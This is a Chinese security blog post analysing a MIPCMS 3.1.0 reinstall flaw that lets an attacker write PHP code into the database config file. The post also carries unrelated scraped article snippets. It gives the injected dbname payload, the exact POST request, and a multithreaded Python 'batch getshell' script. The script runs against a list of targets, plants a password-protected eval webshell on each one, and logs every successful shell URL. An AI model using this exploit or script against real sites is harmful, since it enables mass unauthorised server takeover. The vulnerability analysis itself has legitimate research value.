MIPCMS V3.1.0 远程写入配置文件Getshell过程分析(附批量getshell脚本)
0×01 前言
今天翻了下CNVD,看到了一个MIPCMS的远程代码执行漏洞,然后就去官网下载了这个版本的源码研究了下。看下整体的结构,用的是thinkPHP的架构,看到了install这个文件没有可以绕过install.lock进行重装,但是里面有一个一定要验证数据库,又要找一个SQL的注入漏洞。
想起前几天大表哥Bypass发了一篇好像是关于mipcms的漏洞,赶紧去翻了一下,又学到不少技巧,这个技巧可以用在我上次发的一篇ZZCMS 8.2任意文件删除至Getshell的文章,里面有有个getshell的操作,但是也是要数据库的验证,用上这个技巧也不需要SQL注入也可以getshell了。
关于排版问题,我也想了许多,我写的是markdown的格式,但是论坛对于这种格式效果还算挺兼容的,就是看起来有一些不美观,我就换了种方式进行写,之前我都是放代码然后在上面写解析,这样看起来有点密密麻麻,所以我就直接放代码然后在代码里面写注释,有重要的点就写在外面,这样一来看起来整个文章就很整洁了。
0×02 环境
程序源码下载:http://www.mipcms.cn/mipcms-3.1.0.zip
Web环境:Deepin Linux+Apache2+PHP5.6+MySQL(192.168.1.101)
远程数据库服务器:Windows 10 x64(192.168.1.102)
0×03 漏洞利用过程
我们先正常安装程序

2.在远程数据库服务器上面开启远程访问,然后在上面建立一个名为test',1=>eval(file_get_contents('php://input')),'2'=>'数据库。

3.浏览器访问:http://www.getpass.test//index.php?s=/install/Install/installPost
POST:
username=admin&password=admin&rpassword=admin&dbport=3306&dbname=test',1=>eval(file_get_contents('php://input')),'2'=>'&dbhost=192.168.1.102&dbuser=root&dbpw=root
记得里面的数据库对应上你远程数据库服务器的信息!

可以看到一句把eval函数写到了配置文件里面了

4.执行代码,具体原理我会在后面构造poc的再详细讲解
浏览器访问:http://www.getpass.test/system/config/database.php
POST:phpinfo();

0×04 框架知识补充
还有人可能不怎么了解这个thinkPHP的框架,我在这里简单讲解下,最好还是去官方解读下https://www.kancloud.cn/manual/thinkphp5/118003
首先我们现在thinkPHP的配置文件/system/config/config.php里面修改下面这两个为true

然后去打开网站(这个适合刚刚搭建还没开始安装),它会自动跳转到安装的页面。做了刚才的设置后会在右下角出现一个小绿帽,点击就可以看到文件的加载流程。

这里有很多文件会预加载,我们主要看它的路由文件Route.php

我们可以看到,这里检查了install.lock文件存不存在,如果不存在就会跳转到安装的界面进行安装。

0×05 漏洞代码分析过程
/app/install/controller/Install.php问题出现在这个文件,它里面的就在index这里检查的install.lock的存在,但是在installPost这个方法里面却没有检查,也没有做关联,在install.html里面直接就跳过了,从而导致了程序重装。

下面直接按照顺序读下面的代码就行了,我都注释好了。就有两个点:
- 一个是遍历数据库内容那里,我输出了
$matches截图这个内容给你们好理解。

2.再一个是配置文件的替换,读到$conf = str_replace("#{$key}#", $value, $conf);这句的时候我顺便截图了一个配置的内容。

0×06 Payload构造
- 从上面的代码分析下来,我们可以晓得,必须要传入的值有
username password rpassword dbport dbname dbhost dbuser dbpw
用户名密码这些可以随便写,但是数据库这个在你不晓得数据库信息的时候是无法进行下去的,因为通过上面的代码分析,如果数据库连接不成功就会退出。
看Bypass大表哥的方法,我一想,特么gb,我咋没想到这种方法呢,wocao。dbhost不是可以填服务器地址么,我们在一个服务器上面搭建一个然后进行连接不就行了么,哈哈哈。 - 数据库的问题解决了,我们要怎么样写到数据库文件里面呢。写到里面的就有这几个值,数据库的服务器地址和用户名密码是不能动的了,因为Mysql用户默认是16位,可以修改位数,但是数据库会把
,自动转换为.,数据库密码是加密的,还有prefix这个参数修改了会造成创建表的出现错误导致程序不能正常执行。

那么我们构造的写进去的信息就不能破坏里面的结构,我们就只能用dbname了。
3.还有一个问题,如果我们直接构造一句话木马也不行,因为上面$dbname=strtolower(input('post.dbname'))这里用了转换小写,所以一句话的$_POST和$_GET就不能用了,不能用这个我们还可以用PHP的协议php://input来接受值然后用eval和assert来执行。
我在这里就不再讲解这个协议了,论坛有一篇文章是专门讲这个的,还挺详细的:https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=27441
4.从上面代码分析,我们可以看出,替换值后面会加上',,所以我们要对应上test',1=>eval(file_get_contents('php://input')),'2'=>'
最终的Payload:
username=admin&password=admin&rpassword=admin&dbport=3306&dbname=test’,1=>eval(file_get_contents(‘php://input’)),’2′=>’&dbhost=192.168.1.102&dbuser=root&dbpw=root
0×07 用Python编写批量getshell脚本
我把配置都写在里面了,需要修改数据库信息直接在代码里面改了,如果加在参数会比较麻烦。
#!/usr/bin/env
#author:F0rmat
import sys
import requests
import threading
def exploit(target):
dbhost='192.168.1.102'
dbuser = 'root'
dbpw = 'root'
dbport=3306
dbname="test',1=>eval(file_get_contents('php://input')),'2'=>'"
if sys.argv[1]== "-f":
target=target[0]
url1=target+"/index.php?s=/install/Install/installPost"
data={
"username": "admin",
"password": "admin",
"rpassword": "admin",
"dbport": dbport,
"dbname": dbname,
"dbhost": dbhost,
"dbuser": dbuser,
"dbpw": dbpw,
}
payload = "fwrite(fopen('shell.php','w'),'<?php @eval($_POST[f0rmat])?>f0rmat');"
url2=target+"/system/config/database.php"
shell = target+'/system/config/shell.php'
try:
requests.post(url1,data=data).content
requests.post(url2, data=payload)
verify = requests.get(shell, timeout=3)
if "f0rmat" in verify.content:
print 'Write success,shell url:',shell,'pass:f0rmat'
with open("success.txt","a+") as f:
f.write(shell+' pass:f0rmat'+"\n")
else:
print target,'Write failure!'
except Exception, e:
print e
def main():
if len(sys.argv)<3:
print 'python mipcms_3.1.0.py -h target/-f target-file '
else:
if sys.argv[1] == "-h":
exploit(sys.argv[2])
elif sys.argv[1] == "-f":
with open(sys.argv[2], "r") as f:
b = f.readlines()
for i in xrange(len(b)):
if not b[i] == "\n":
threading.Thread(target=exploit, args=(b[i].split(),)).start()
if __name__ == '__main__':
main()

0×08 参考
https://github.com/F0r3at/Python-Tools/tree/master/Mipcms
http://www.cnvd.org.cn/flaw/show/CNVD-2018-02516
http://mp.weixin.qq.com/s?__biz=MzA3NzE2MjgwMg==&mid=301419963&idx=1&sn=0cb82aa5629b6432415c93d9f2b8eb8c&chksm=0b55dde63c2254f04399a7afa7f49a3889e8eaa37d747ec1a1b70f00cc0bf94c764db1295a11&mpshare=1&scene=23&srcid=0321pbJgBla01aN1U5GZXNlG#rd
MIPCMS V3.1.0 远程写入配置文件Getshell过程分析(附批量getshell脚本)的更多相关文章
- 【代码审计】MIPCMS 远程写入配置文件Getshell
0x00 环境准备 MIPCMS官网:https://www.mipcms.cn 网站源码版本:MIPCMS内容管理系统 V3.1.0(发布时间:2018-01-01) 程序源码下载:http://w ...
- FineUIPro v3.5.0发布了,减少 90% 的上行数据量,15行代码全搞定!
一切为客户着想 一切的一切还得从和一位台湾客户的沟通说起: 客户提到将ViewState保存在服务器端以减少上行数据量,从而加快页面的回发速度. 但是在FineUI中,控件状态都保存在FState中, ...
- Mysql系列九:使用zookeeper管理远程Mycat配置文件、Mycat监控、Mycat数据迁移(扩容)
一.使用zookeeper管理远程Mycat配置文件 环境准备: 虚拟机192.168.152.130: zookeeper,具体参考前面文章 搭建dubbo+zookeeper+dubboadmin ...
- Python 读取写入配置文件 —— ConfigParser
Python 读取写入配置文件 —— ConfigParser Python 读取写入配置文件很方便,可使用内置的 configparser 模块:可查看源码,如博主本机地址: “C:/python2 ...
- [转帖]SSH远程登录配置文件sshd_config详解
SSH远程登录配置文件sshd_config详解 2016年06月02日 17:42:25 Field_Yang 阅读数 61386 版权声明:本文为博主原创文章,遵循CC 4.0 by-sa版权 ...
- Centos 7.6 使用 kubekey 部署 kubesphere v3.1.0
文章目录 主要功能 硬件要求 Kubernetes版本要求 配置主机之间的免密 安装所需依赖 下载KubeKey 创建Kubernetes集群以及KubeSphere kk命令使用方式 修改配置文件 ...
- CabloyJS v3.1.0支持集群及更多 🎉
在抗疫期间,CabloyJS v3.1.0设计并开发了大量特性,并且所有相关文档已集齐.强烈建议大家试用,拍砖 特性 - 后端核心 集群: 集群现在已经成为CabloyJS的一等公民.也就是说,Cab ...
- FineUI(专业版)v3.2.0 发布(ASP.NET UI控件库)!
+2016-08-20 v3.2.0 +表格增强. +表格列RenderField增加属性ClientHtmlEncode,用于在客户端进行HTML编码. -增加示例:单元格编辑->杂项-> ...
- STM32启动文件详细解析(V3.5.0) 以:startup_stm32f10x_hd.s为例
我用的是IAR,这个貌似是MDK的,不过很有用,大家可以看一下 ;* 文件名 : startup_stm32f10x_hd.s ;* 库版本 : V3.5.0 ;* 说明: 此文件为STM32F10x ...
随机推荐
- 挖一挖不常用到而又很实用的重载-Trim
这个我想没有那个开发人员说不知道,但是里面有一个重载,这个不知道有多少开发人员知道! 可以看到,我可以去掉字符串前后的指定字符,只要我在char[]中指定即可,而不是仅仅去掉空格,这次为什么要提它,是 ...
- Regex 正则替换指定范围全部字符串
1.正则替换字符-------------------------------------------------------------------------------------------- ...
- java io 节点流和处理流
JAVA IO操作总结:节点流和处理流 JAVA IO操作总结--节点流和处理流 按照流是否直接与特定的地方(如磁盘.内存.设备等)相连,分为节点流和处理流两类. 节点流:可以从或向一个特定的地方( ...
- 教你如何制作网页上的友情链接--JavaScript基础
大部分网站的首页都有友情链接的功能,此功能可通过location对象的href属性来实现…… href属性:设置或检索完整的url字符串 1."友情链接制作"示例代码: <! ...
- DirectSound---3D环境
DirectSound对于单声道的Wav文件(或者说对于单声道的PCM音频数据)提供了内置3D音效的模拟,你能够控制每一个声源和收听者的立体位置,对移动的物体应用多普勒效果等等.在单个应用程序中,可以 ...
- RobotFramework自动化测试框架-移动手机自动化测试Open Application关键字的使用
在AppiumLibrary库中,Open Application关键字用来打开一个待测试移动APP. 示例1:连接本机已经打开的appium服务端,打开一个待测试的安卓APP,指定测试平台为Andr ...
- [CQOI2009]dance跳舞
每个人拆成两个点,一个表示接受喜欢的,一个表示不接受喜欢的,(男yes,男no,女yes,女no) 男yes->男no,容量为k:女no->女yes,容量为k 男女喜欢,则男yes-> ...
- [.Net Core] 简单使用 Mvc 内置的 Ioc
简单使用 Mvc 内置的 Ioc 本文基于 .NET Core 2.0. 鉴于网上的文章理论较多,鄙人不才,想整理一份 Hello World(Demo)版的文章. 目录 场景一:简单类的使用 场景二 ...
- 状压dp入门
状压dp的含义 在我们解决动态规划题目的时候,dp数组最重要的一维就是保存状态信息,但是有些题目它的具有dp的特性,并且状态较多,如果直接保存的可能需要三维甚至多维数组,这样在题目允许的内存下势必是开 ...
- Ajax模拟Form表单提交,含多种数据上传
---恢复内容开始--- Ajax提交表单.使用FormData提交表单数据和上传的文件(这里的后台使用C#获取,你可以使用Java一样获取) 有时候前台的数据提交到后台,不想使用form表单上传,希 ...